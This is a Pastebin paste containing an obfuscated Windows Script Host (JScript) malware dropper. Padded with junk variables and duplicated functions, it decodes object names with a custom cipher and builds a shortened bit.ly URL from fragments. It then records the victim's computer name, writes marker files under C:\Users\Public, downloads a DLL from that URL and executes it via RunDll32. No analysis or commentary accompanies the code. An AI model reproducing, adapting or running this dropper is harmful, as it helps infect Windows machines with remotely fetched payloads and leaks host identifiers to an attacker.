Advertisement
Guest User

Untitled

a guest
May 10th, 2018
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.54 KB | None | 0 0
  1. // JavaScript Document
  2. /* global WScript, exit, eof */
  3.  
  4. var AcnomeHZMDMBHH17939420 = "B481014";
  5. var ADEMGHcuserZEFAEJLJ29398553 = "YBJJJQOCA606342399";
  6. var AICNGQDchospeNWPZTYWU29484565 = "WTYNHOUTP4";
  7. var AMEMQcidPAQHYVJH12844850 = "REDBQZYWS069";
  8. var ATchospeZHINNJYO67730001 = "CU027288101";
  9. var BBchostWCQTCVHW81138805 = "T104329";
  10. var BSTZUIctesteLXWINMQH23236934 = "IZNRHOJ41";
  11. var BUEGDchostSONRHICE32727144 = "ZZO4";
  12. var BZEGINEcidPIFXTPWV67096732 = "WSIOAO83745374";
  13. var CCAIGVccashOTQQQMYH23324075 = "YQOUJMH793515";
  14. var CXNcuserBUXRDOUB10520057 = "GELFRNDP44";
  15. var DEEOAPcuserDRFUXITI65278523 = "RCMQUHVLZ5760";
  16. var DYLWUWcnomeYSWQFWXG71323242 = "E0561";
  17. var EAVLCIZBctestePECANMPW00051855 = "Y969697133";
  18. var ETTXRTctesteFTVZJGCU22784214 = "PVNOAIZ480362139";
  19. var EYLEGctesteOFWNURNC52520451 = "NWCD3";
  20. var EYYCMcidODSJSXCO64905367 = "XYDXQSZC762";
  21. var FMWNNGDCccashBFZAUFAY78684711 = "IOX744";
  22. var GchospeRAMZSCSB85585851 = "CGHMMQ96252909";
  23. var GchostTLVZGQEW35101933 = "D8993";
  24. var GJBUcidVTPIGAJZ14111491 = "I3232";
  25. var GQYLENTLVcidEDLENGVI45765170 = "FYZ989";
  26. var HDchospeXARCSQUV06210743 = "HVVXFUHM34156";
  27. var HDcidICXVMYGR25541809 = "NYTVHDWWA221882726";
  28. var HMccashRYYNYAAD47343996 = "BANJP0303";
  29. var IccashYYFBEISR24094576 = "PNPF316582484";
  30. var IcnomeTZEGRHGT48740882 = "QUHJUWZ32533193";
  31. var IFPQUcfileGFBNGTUC24522819 = "WSJJSAMW34199";
  32. var IMLNctesteIONDADPB47708065 = "DLMCGPFAD4";
  33. var IVcfileUQIIRCMY47063854 = "M6188528";
  34. var IVSchostNXUZWJFD90144791 = "JLDXJ139772555";
  35. var JCISYIBGccashWZINQJTI14181278 = "ZF248051848";
  36. var JMcuserJXVGGCBG19311667 = "CNNZ2";
  37. var JSJXHALTcfileJUJCMZSL05161367 = "QVAFPWQ92";
  38. var LccashWSVQFJCZ75504659 = "UED19227612";
  39. var LcfolderOAUUQBVP38925562 = "SLF297261";
  40. var LJctesteXUPMHNBC86979971 = "TSZ98533756";
  41. var LREccashXWADDMLE16370311 = "J649196";
  42. var LUSZchospeLBYJSZJM33741529 = "SEDPIOYYF1908";
  43. var MAZVRZYFTcnomeBEJGPZGG45460002 = "A701";
  44. var MchostLFSHZXVF34453880 = "WXWFNHICD810";
  45. var MPJMUJchostXVYTZQML57638673 = "VWUZN71441";
  46. var MVGcfileUZTPTAHW51545001 = "YBA7";
  47. var NWSNSRYcfileNEJVESMT27866685 = "HLNTTIXON4329";
  48. var OcfileZXLHREYE74569661 = "ZOIDLFDAS064072791";
  49. var OGJDNchospeIZOFYDPC61142192 = "LMBJ3832";
  50. var OOGHODLcfileIEOOOXGX90720876 = "TCJYQBZG542";
  51. var ORRNXYRWctesteLMXDARLB93449453 = "BRYDUGEBE58801";
  52. var PCSYSURFEchostURATLRWM95233271 = "BV9";
  53. var PEAEUXchostXLVOJUZG63331591 = "BXN112237292";
  54. var PLGRARcidPZFSQBPA36319411 = "UHRXWWD3";
  55. var PRGLSTEVOchospeNUPADQSM65255541 = "PLPP0809";
  56. var QFZRccashYTMXCADU85940296 = "UBVXETHR6";
  57. var QSDEcuserLNMAUVFG08981965 = "ORGBPBJF29273";
  58. var QVFchospeWDGNOECB96841232 = "RBNDYXMN7980327";
  59. var RcfolderLAZRYAMF70434251 = "VHBFE5285577";
  60. var RcnomeOREUZMSJ47385474 = "LCC22738228";
  61. var RNcfolderRAFGAXTX65038853 = "FVNNJS828373032";
  62. var RPTEJEPcfileETHLFIOO78072453 = "RB03221658";
  63. var RTFLIPctesteEUDVTEQG97349258 = "LZ8";
  64. var RXXchostQTRFYRHC42665237 = "VVYYWUQPD955";
  65. var SAAGRWRYScuserURUDIRQA78238719 = "OY1";
  66. var ScidHONPIPEZ61511372 = "CC173236";
  67. var SIEOLTYAOcnomeUVDBFUBO17197433 = "Z17269";
  68. var SXcfolderHHOIMTOV72054274 = "QDDDQIVP0";
  69. var SZcfolderZPAVTMUR02362739 = "BLNOAYYSI3";
  70. var TcfileWTIXYMHY91574978 = "ZVFMPSYV7362";
  71. var TcfolderXTIGDDGV40577013 = "C20963989";
  72. var TCHLUGcuserLFIJOXUR74996123 = "UVP044390549";
  73. var TcnomeIRGQCMXQ84090466 = "Y49";
  74. var TRJVVRBcidXOEXBOVJ10531308 = "ARA2991";
  75. var TWWBYCJccashWZZCSZFZ89348181 = "MVHVVJELP870036";
  76. var UchospeUNLNNFTW96133249 = "BPWPYDST82200";
  77. var VcuserXMYNFJVB35769908 = "FQMD4279";
  78. var VIATQSXcidEBIWBJLR80962336 = "DLLCLB185719";
  79. var VYEFcuserHQGDPCDT68139096 = "VHJYDD752384574";
  80. var WcnomeSRCWFFLC61034875 = "WU2278";
  81. var WJXUBEcuserPTBFFQBD50441259 = "S6163";
  82. var WOEADEIWScnomeMCGHXVQH61106116 = "ORMYSOGCR5";
  83. var XDLctesteMXSYHGVM13074947 = "SEOGEMTEA7";
  84. var XFVDEcfolderOGIPPSGY66336346 = "CDHJN7";
  85. var XPUBFQXctesteJQLMDMYW97052761 = "HPSWC7851";
  86. var XVTLLWchospeVXLDOSTZ85375853 = "NLTARNI0801450";
  87. var YFPPGTQDcfileVVSANRSR88565316 = "GCJVFG4";
  88. var YHJQGcnomeDUAIODAQ76395854 = "X24";
  89. var YXNLVBAEcfolderLWSNEXVP27115937 = "MZB1";
  90. var ZcfolderRVQLVXFA85867191 = "IYVVPDJFL26212632";
  91. var ZchostQZFYXUEX09976650 = "GWFHLPHSE2042744";
  92. var ZTcfolderEBDHPPZR08689506 = "ATLTD964350063";
  93. var ZWCYCYETccashTISWUURG97828541 = "JQYF7600";
  94.  
  95. var cUser = "EIEIDHU";
  96. var cUser7658 = "EIEIDHU";
  97. var cUser44432 = "EIEIDHU";
  98. var cUser665 = "EIEIjkl980DHU";
  99. var cUser4499 = "EIEIn6WWWDHU";
  100. var cUser9037 = "EIEIDKMYHU";
  101. var cUser7746289 = "EIEIGHJDHU";
  102. var cUser8632 = "EIEIDHU";
  103. var cUser4485 = "AMEDE8MIU";
  104. var cUser = "EIEIDHU";
  105. var cFile1 = "YJJGO";
  106. var cFile2 = "CIMFS";
  107. var cID = "LIKINHYICFWIRGD";
  108. var NAME001 = "BILFQFNIGFSIO";
  109. var cNomeF2 = "GIQFWFSILFXIT";
  110. var cNomeFZ2 = "AIKFQFMINHVID";
  111. var cHtml = "LFXIGISILIK";
  112. var cWSh311 = "RHUIXIHIWINIUIYGEHQIMIJIQIQ";
  113. var cWN3t = "FHIHEHUIKIBIIIMFRGYHWIMIPIHIKID";
  114. var cScrF1l3 = "CHBHRIHHXIFIJHXIDHVFOGNHXIBHTHBIOIIIJHTICGWHQHYHTHRIJ";
  115. var cSh3llApp = "RHQIMIJIQIQGEGXIUIUIQINIHIFIYINITIS";
  116. var cHost02 = "4coYVBvR2tGR";
  117. var Ad0bSt3 = "IGOGRHDGRGPFUHHIPINIAHVII";
  118. var MxmlHt = "64C45C3F6789DE03CE5FA2E";
  119. var c1nf3ctz = "";
  120. var cFolder = "C:\\Users\\Public\\";
  121. var sNomeMaq;
  122. var sID;
  123. var sIDW;
  124. var sTipoSO;
  125. var sAwvx = "NHYBVGTVFGTDCE";
  126. var xID = 91;
  127. var xReg = "PIUIHIJIVIYIUGHGGGCIHJBIHFNGDIVFNFP";
  128. var cHosttotal;
  129.  
  130. var NAMENP413 = "xcty.dll";
  131. var NAMEWG141 = "xcty.dll";
  132. var NAMEAT034 = "xcty.dll";
  133. var NAMEWR392 = "xcty.dll";
  134. var NAMEPV174 = "xcty.dll";
  135. var NAMEFP295 = "xcty.dll";
  136. var NAMEJS574 = "xcty.dll";
  137. var NAMEOW474 = "xcty.dll";
  138. var NAMEER600 = "xcty.dll";
  139. var NAMEDL327 = "xcty.dll";
  140. var NAMETQ768 = "xcty.dll";
  141. var NAMEBY949 = "xcty.dll";
  142. var NAMEDU768 = "xcty.dll";
  143. var NAMEVY643 = "xcty.dll";
  144.  
  145.  
  146. var cHost287 = "ht";
  147. var cHost771 = "tp";
  148. var cHost983 = ":/";
  149. var cHost300 = "/b";
  150. var cHost529 = "it";
  151. var cHost840 = ".l";
  152. var cHost694 = "y/";
  153. var cHost448 = "2K";
  154. var cHost158 = "OV";
  155. var cHost280 = "f8";
  156. var cHost360 = "Z";
  157.  
  158. function wdecrypt4124(s1, id)
  159. {
  160. var sx;
  161. var x;
  162. var x4;
  163. var sr;
  164. var wx1;
  165. var wx2;
  166. var wxgx1;
  167. wxgx1 = 65;
  168. sr = "";
  169. sx = "";
  170. x = 0;
  171. x4 = s1.charCodeAt(0) - wxgx1;
  172. s1 = s1.substring(1);
  173. while (s1.length > 0){
  174. if (sAwvx == "sdgrt53425eged3fg") {exit};
  175. wx1 = (s1.charCodeAt(0)-wxgx1);
  176. if (sAwvx == "sdgrt53425eged3fg") {exit};
  177. wx2 = (s1.charCodeAt(1)-wxgx1);
  178. if (sAwvx == "sdgrt53425eged3fg") {exit};
  179. sr = sr + String.fromCharCode( wx1 * 25 + wx2 - x4 - id);
  180. if (sAwvx == "sdgrt53425eged3fg") {exit};
  181. s1 = s1.substring(2);
  182. }
  183. return sr;
  184. }
  185.  
  186.  
  187.  
  188. function wdecrypt2912(s1, id)
  189. {
  190. var sx;
  191. var x;
  192. var x4;
  193. var sr;
  194. var wx1;
  195. var wx2;
  196. var wxgx1;
  197. wxgx1 = 65;
  198. sr = "";
  199. sx = "";
  200. x = 0;
  201. x4 = s1.charCodeAt(0) - wxgx1;
  202. s1 = s1.substring(1);
  203. while (s1.length > 0){
  204. if (sAwvx == "sdgrt53425eged3fg") {exit};
  205. wx1 = (s1.charCodeAt(0)-wxgx1);
  206. if (sAwvx == "sdgrt53425eged3fg") {exit};
  207. wx2 = (s1.charCodeAt(1)-wxgx1);
  208. if (sAwvx == "sdgrt53425eged3fg") {exit};
  209. sr = sr + String.fromCharCode( wx1 * 25 + wx2 - x4 - id);
  210. if (sAwvx == "sdgrt53425eged3fg") {exit};
  211. s1 = s1.substring(2);
  212. }
  213. return sr;
  214. }
  215.  
  216.  
  217.  
  218. function wdecrypt7214(s1, id)
  219. {
  220. var sx;
  221. var x;
  222. var x4;
  223. var sr;
  224. var wx1;
  225. var wx2;
  226. var wxgx1;
  227. wxgx1 = 65;
  228. sr = "";
  229. sx = "";
  230. x = 0;
  231. x4 = s1.charCodeAt(0) - wxgx1;
  232. s1 = s1.substring(1);
  233. while (s1.length > 0){
  234. if (sAwvx == "sdgrt53425eged3fg") {exit};
  235. wx1 = (s1.charCodeAt(0)-wxgx1);
  236. if (sAwvx == "sdgrt53425eged3fg") {exit};
  237. wx2 = (s1.charCodeAt(1)-wxgx1);
  238. if (sAwvx == "sdgrt53425eged3fg") {exit};
  239. sr = sr + String.fromCharCode( wx1 * 25 + wx2 - x4 - id);
  240. if (sAwvx == "sdgrt53425eged3fg") {exit};
  241. s1 = s1.substring(2);
  242. }
  243. return sr;
  244. }
  245.  
  246.  
  247.  
  248. function wdecrypt8053(s1, id)
  249. {
  250. var sx;
  251. var x;
  252. var x4;
  253. var sr;
  254. var wx1;
  255. var wx2;
  256. var wxgx1;
  257. wxgx1 = 65;
  258. sr = "";
  259. sx = "";
  260. x = 0;
  261. x4 = s1.charCodeAt(0) - wxgx1;
  262. s1 = s1.substring(1);
  263. while (s1.length > 0){
  264. if (sAwvx == "sdgrt53425eged3fg") {exit};
  265. wx1 = (s1.charCodeAt(0)-wxgx1);
  266. if (sAwvx == "sdgrt53425eged3fg") {exit};
  267. wx2 = (s1.charCodeAt(1)-wxgx1);
  268. if (sAwvx == "sdgrt53425eged3fg") {exit};
  269. sr = sr + String.fromCharCode( wx1 * 25 + wx2 - x4 - id);
  270. if (sAwvx == "sdgrt53425eged3fg") {exit};
  271. s1 = s1.substring(2);
  272. }
  273. return sr;
  274. }
  275.  
  276.  
  277.  
  278. function wdecrypt9800(s1, id)
  279. {
  280. var sx;
  281. var x;
  282. var x4;
  283. var sr;
  284. var wx1;
  285. var wx2;
  286. var wxgx1;
  287. wxgx1 = 65;
  288. sr = "";
  289. sx = "";
  290. x = 0;
  291. x4 = s1.charCodeAt(0) - wxgx1;
  292. s1 = s1.substring(1);
  293. while (s1.length > 0){
  294. if (sAwvx == "sdgrt53425eged3fg") {exit};
  295. wx1 = (s1.charCodeAt(0)-wxgx1);
  296. if (sAwvx == "sdgrt53425eged3fg") {exit};
  297. wx2 = (s1.charCodeAt(1)-wxgx1);
  298. if (sAwvx == "sdgrt53425eged3fg") {exit};
  299. sr = sr + String.fromCharCode( wx1 * 25 + wx2 - x4 - id);
  300. if (sAwvx == "sdgrt53425eged3fg") {exit};
  301. s1 = s1.substring(2);
  302. }
  303. return sr;
  304. }
  305.  
  306.  
  307.  
  308. function wdecrypt3890(s1, id)
  309. {
  310. var sx;
  311. var x;
  312. var x4;
  313. var sr;
  314. var wx1;
  315. var wx2;
  316. var wxgx1;
  317. wxgx1 = 65;
  318. sr = "";
  319. sx = "";
  320. x = 0;
  321. x4 = s1.charCodeAt(0) - wxgx1;
  322. s1 = s1.substring(1);
  323. while (s1.length > 0){
  324. if (sAwvx == "sdgrt53425eged3fg") {exit};
  325. wx1 = (s1.charCodeAt(0)-wxgx1);
  326. if (sAwvx == "sdgrt53425eged3fg") {exit};
  327. wx2 = (s1.charCodeAt(1)-wxgx1);
  328. if (sAwvx == "sdgrt53425eged3fg") {exit};
  329. sr = sr + String.fromCharCode( wx1 * 25 + wx2 - x4 - id);
  330. if (sAwvx == "sdgrt53425eged3fg") {exit};
  331. s1 = s1.substring(2);
  332. }
  333. return sr;
  334. }
  335.  
  336.  
  337.  
  338. function wdecrypt1064(s1, id)
  339. {
  340. var sx;
  341. var x;
  342. var x4;
  343. var sr;
  344. var wx1;
  345. var wx2;
  346. var wxgx1;
  347. wxgx1 = 65;
  348. sr = "";
  349. sx = "";
  350. x = 0;
  351. x4 = s1.charCodeAt(0) - wxgx1;
  352. s1 = s1.substring(1);
  353. while (s1.length > 0){
  354. if (sAwvx == "sdgrt53425eged3fg") {exit};
  355. wx1 = (s1.charCodeAt(0)-wxgx1);
  356. if (sAwvx == "sdgrt53425eged3fg") {exit};
  357. wx2 = (s1.charCodeAt(1)-wxgx1);
  358. if (sAwvx == "sdgrt53425eged3fg") {exit};
  359. sr = sr + String.fromCharCode( wx1 * 25 + wx2 - x4 - id);
  360. if (sAwvx == "sdgrt53425eged3fg") {exit};
  361. s1 = s1.substring(2);
  362. }
  363. return sr;
  364. }
  365.  
  366.  
  367.  
  368.  
  369.  
  370. function run5829(file) {
  371. var ws = new ActiveXObject("WScript.Shell");
  372. ws.Exec(file);
  373. }
  374.  
  375. function run1548(file) {
  376. var ws = new ActiveXObject("WScript.Shell");
  377. ws.Exec(file);
  378. }
  379.  
  380. function run0666(file) {
  381. var ws = new ActiveXObject("WScript.Shell");
  382. ws.Exec(file);
  383. }
  384.  
  385. function run1238(file) {
  386. var ws = new ActiveXObject("WScript.Shell");
  387. ws.Exec(file);
  388. }
  389.  
  390. function run9788(file) {
  391. var ws = new ActiveXObject("WScript.Shell");
  392. ws.Exec(file);
  393. }
  394.  
  395. function run9174(file) {
  396. var ws = new ActiveXObject("WScript.Shell");
  397. ws.Exec(file);
  398. }
  399.  
  400. function run3669(file) {
  401. var ws = new ActiveXObject("WScript.Shell");
  402. ws.Exec(file);
  403. }
  404.  
  405. function run7607(file) {
  406. var ws = new ActiveXObject("WScript.Shell");
  407. ws.Exec(file);
  408. }
  409.  
  410. function run6035(file) {
  411. var ws = new ActiveXObject("WScript.Shell");
  412. ws.Exec(file);
  413. }
  414.  
  415. function run6529(file) {
  416. var ws = new ActiveXObject("WScript.Shell");
  417. ws.Exec(file);
  418. }
  419.  
  420. function run1176(file) {
  421. var ws = new ActiveXObject("WScript.Shell");
  422. ws.Exec(file);
  423. }
  424.  
  425.  
  426.  
  427. function down4662(url, file) {
  428. var data;
  429. var ado;
  430.  
  431. try
  432. {
  433. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  434.  
  435. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  436. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  437.  
  438. void(WinHttpReq.Open("GET", url, false));
  439. WinHttpReq.Send();
  440. if (WinHttpReq.Status == 404)
  441. {
  442. return false;
  443. }
  444. data = WinHttpReq.ResponseBody;
  445. }
  446. catch (ex)
  447. {
  448. //WScript.Echo("Error downloading file: " + ex.message);
  449. return false;
  450. }
  451.  
  452. ado = new ActiveXObject("ADODB.Stream");
  453. ado.Type = 1; // binary mode
  454. ado.Open();
  455. ado.Write(data);
  456. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  457. ado.Close();
  458.  
  459. return true;
  460. }
  461.  
  462.  
  463. function down5964(url, file) {
  464. var data;
  465. var ado;
  466.  
  467. try
  468. {
  469. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  470.  
  471. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  472. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  473.  
  474. void(WinHttpReq.Open("GET", url, false));
  475. WinHttpReq.Send();
  476. if (WinHttpReq.Status == 404)
  477. {
  478. return false;
  479. }
  480. data = WinHttpReq.ResponseBody;
  481. }
  482. catch (ex)
  483. {
  484. //WScript.Echo("Error downloading file: " + ex.message);
  485. return false;
  486. }
  487.  
  488. ado = new ActiveXObject("ADODB.Stream");
  489. ado.Type = 1; // binary mode
  490. ado.Open();
  491. ado.Write(data);
  492. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  493. ado.Close();
  494.  
  495. return true;
  496. }
  497.  
  498.  
  499. function down6768(url, file) {
  500. var data;
  501. var ado;
  502.  
  503. try
  504. {
  505. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  506.  
  507. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  508. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  509.  
  510. void(WinHttpReq.Open("GET", url, false));
  511. WinHttpReq.Send();
  512. if (WinHttpReq.Status == 404)
  513. {
  514. return false;
  515. }
  516. data = WinHttpReq.ResponseBody;
  517. }
  518. catch (ex)
  519. {
  520. //WScript.Echo("Error downloading file: " + ex.message);
  521. return false;
  522. }
  523.  
  524. ado = new ActiveXObject("ADODB.Stream");
  525. ado.Type = 1; // binary mode
  526. ado.Open();
  527. ado.Write(data);
  528. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  529. ado.Close();
  530.  
  531. return true;
  532. }
  533.  
  534.  
  535. function down2823(url, file) {
  536. var data;
  537. var ado;
  538.  
  539. try
  540. {
  541. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  542.  
  543. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  544. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  545.  
  546. void(WinHttpReq.Open("GET", url, false));
  547. WinHttpReq.Send();
  548. if (WinHttpReq.Status == 404)
  549. {
  550. return false;
  551. }
  552. data = WinHttpReq.ResponseBody;
  553. }
  554. catch (ex)
  555. {
  556. //WScript.Echo("Error downloading file: " + ex.message);
  557. return false;
  558. }
  559.  
  560. ado = new ActiveXObject("ADODB.Stream");
  561. ado.Type = 1; // binary mode
  562. ado.Open();
  563. ado.Write(data);
  564. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  565. ado.Close();
  566.  
  567. return true;
  568. }
  569.  
  570.  
  571. function down6699(url, file) {
  572. var data;
  573. var ado;
  574.  
  575. try
  576. {
  577. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  578.  
  579. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  580. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  581.  
  582. void(WinHttpReq.Open("GET", url, false));
  583. WinHttpReq.Send();
  584. if (WinHttpReq.Status == 404)
  585. {
  586. return false;
  587. }
  588. data = WinHttpReq.ResponseBody;
  589. }
  590. catch (ex)
  591. {
  592. //WScript.Echo("Error downloading file: " + ex.message);
  593. return false;
  594. }
  595.  
  596. ado = new ActiveXObject("ADODB.Stream");
  597. ado.Type = 1; // binary mode
  598. ado.Open();
  599. ado.Write(data);
  600. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  601. ado.Close();
  602.  
  603. return true;
  604. }
  605.  
  606.  
  607. function down0685(url, file) {
  608. var data;
  609. var ado;
  610.  
  611. try
  612. {
  613. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  614.  
  615. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  616. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  617.  
  618. void(WinHttpReq.Open("GET", url, false));
  619. WinHttpReq.Send();
  620. if (WinHttpReq.Status == 404)
  621. {
  622. return false;
  623. }
  624. data = WinHttpReq.ResponseBody;
  625. }
  626. catch (ex)
  627. {
  628. //WScript.Echo("Error downloading file: " + ex.message);
  629. return false;
  630. }
  631.  
  632. ado = new ActiveXObject("ADODB.Stream");
  633. ado.Type = 1; // binary mode
  634. ado.Open();
  635. ado.Write(data);
  636. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  637. ado.Close();
  638.  
  639. return true;
  640. }
  641.  
  642.  
  643. function down5841(url, file) {
  644. var data;
  645. var ado;
  646.  
  647. try
  648. {
  649. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  650.  
  651. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  652. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  653.  
  654. void(WinHttpReq.Open("GET", url, false));
  655. WinHttpReq.Send();
  656. if (WinHttpReq.Status == 404)
  657. {
  658. return false;
  659. }
  660. data = WinHttpReq.ResponseBody;
  661. }
  662. catch (ex)
  663. {
  664. //WScript.Echo("Error downloading file: " + ex.message);
  665. return false;
  666. }
  667.  
  668. ado = new ActiveXObject("ADODB.Stream");
  669. ado.Type = 1; // binary mode
  670. ado.Open();
  671. ado.Write(data);
  672. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  673. ado.Close();
  674.  
  675. return true;
  676. }
  677.  
  678.  
  679. function down8510(url, file) {
  680. var data;
  681. var ado;
  682.  
  683. try
  684. {
  685. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  686.  
  687. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  688. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  689.  
  690. void(WinHttpReq.Open("GET", url, false));
  691. WinHttpReq.Send();
  692. if (WinHttpReq.Status == 404)
  693. {
  694. return false;
  695. }
  696. data = WinHttpReq.ResponseBody;
  697. }
  698. catch (ex)
  699. {
  700. //WScript.Echo("Error downloading file: " + ex.message);
  701. return false;
  702. }
  703.  
  704. ado = new ActiveXObject("ADODB.Stream");
  705. ado.Type = 1; // binary mode
  706. ado.Open();
  707. ado.Write(data);
  708. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  709. ado.Close();
  710.  
  711. return true;
  712. }
  713.  
  714.  
  715. function down9675(url, file) {
  716. var data;
  717. var ado;
  718.  
  719. try
  720. {
  721. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  722.  
  723. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  724. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  725.  
  726. void(WinHttpReq.Open("GET", url, false));
  727. WinHttpReq.Send();
  728. if (WinHttpReq.Status == 404)
  729. {
  730. return false;
  731. }
  732. data = WinHttpReq.ResponseBody;
  733. }
  734. catch (ex)
  735. {
  736. //WScript.Echo("Error downloading file: " + ex.message);
  737. return false;
  738. }
  739.  
  740. ado = new ActiveXObject("ADODB.Stream");
  741. ado.Type = 1; // binary mode
  742. ado.Open();
  743. ado.Write(data);
  744. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  745. ado.Close();
  746.  
  747. return true;
  748. }
  749.  
  750.  
  751. function down9427(url, file) {
  752. var data;
  753. var ado;
  754.  
  755. try
  756. {
  757. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  758.  
  759. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  760. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  761.  
  762. void(WinHttpReq.Open("GET", url, false));
  763. WinHttpReq.Send();
  764. if (WinHttpReq.Status == 404)
  765. {
  766. return false;
  767. }
  768. data = WinHttpReq.ResponseBody;
  769. }
  770. catch (ex)
  771. {
  772. //WScript.Echo("Error downloading file: " + ex.message);
  773. return false;
  774. }
  775.  
  776. ado = new ActiveXObject("ADODB.Stream");
  777. ado.Type = 1; // binary mode
  778. ado.Open();
  779. ado.Write(data);
  780. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  781. ado.Close();
  782.  
  783. return true;
  784. }
  785.  
  786.  
  787. function down3546(url, file) {
  788. var data;
  789. var ado;
  790.  
  791. try
  792. {
  793. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  794.  
  795. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  796. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  797.  
  798. void(WinHttpReq.Open("GET", url, false));
  799. WinHttpReq.Send();
  800. if (WinHttpReq.Status == 404)
  801. {
  802. return false;
  803. }
  804. data = WinHttpReq.ResponseBody;
  805. }
  806. catch (ex)
  807. {
  808. //WScript.Echo("Error downloading file: " + ex.message);
  809. return false;
  810. }
  811.  
  812. ado = new ActiveXObject("ADODB.Stream");
  813. ado.Type = 1; // binary mode
  814. ado.Open();
  815. ado.Write(data);
  816. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  817. ado.Close();
  818.  
  819. return true;
  820. }
  821.  
  822.  
  823.  
  824.  
  825. var network = new ActiveXObject(wdecrypt1064(cWN3t,xID));
  826. sNomeMaq = network.computerName;
  827. cFolder = cFolder + sNomeMaq.substring(0, 3) + "OLNM822\\";
  828. sId = cFolder + "id";
  829. sIdW = cFolder + "idw";
  830. cHosttotal = cHost287+cHost771+cHost983+cHost300+cHost529+cHost840+cHost694+cHost448+cHost158+cHost280+cHost360;
  831. c1nf3ctz = c1nf3ctz +"?tmpString=" + cHosttotal + "&pcn=" + network.computerName+ "&AT=" + 0905;
  832.  
  833. var fso = WScript.CreateObject(wdecrypt1064(cScrF1l3,xID));
  834. if (!fso.FileExists(sId) && fso.FolderExists("C:\\Users\\Public\\")){
  835. try{
  836. down3546(c1nf3ctz)} catch(err) {}
  837. if (!fso.FolderExists(cFolder)) {
  838. fso.CreateFolder(cFolder);
  839. }
  840.  
  841. if (fso.FolderExists("C:\\Program Files (x86)\\")) {
  842. sTipoSO = "64";
  843. } else {
  844. sTipoSO = "32";
  845. }
  846. var s = fso.CreateTextFile(sId, true);
  847. s.WriteLine(wdecrypt1064(cID,xID));
  848. s.Close();
  849. var s2 = fso.CreateTextFile(sIdW, true);
  850. s2.WriteLine("91");
  851. s2.Close();
  852. try{
  853. down3546(cHosttotal)} catch(err) {}
  854. down3546(cHosttotal, "C:\\Users\\Public\\"+ NAMENP413);
  855. try
  856. {run1176("RunDll32.exe C:\\Users\\Public\\"+ NAMEWG141 + ",thnde");
  857. }catch(err) {}
  858. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement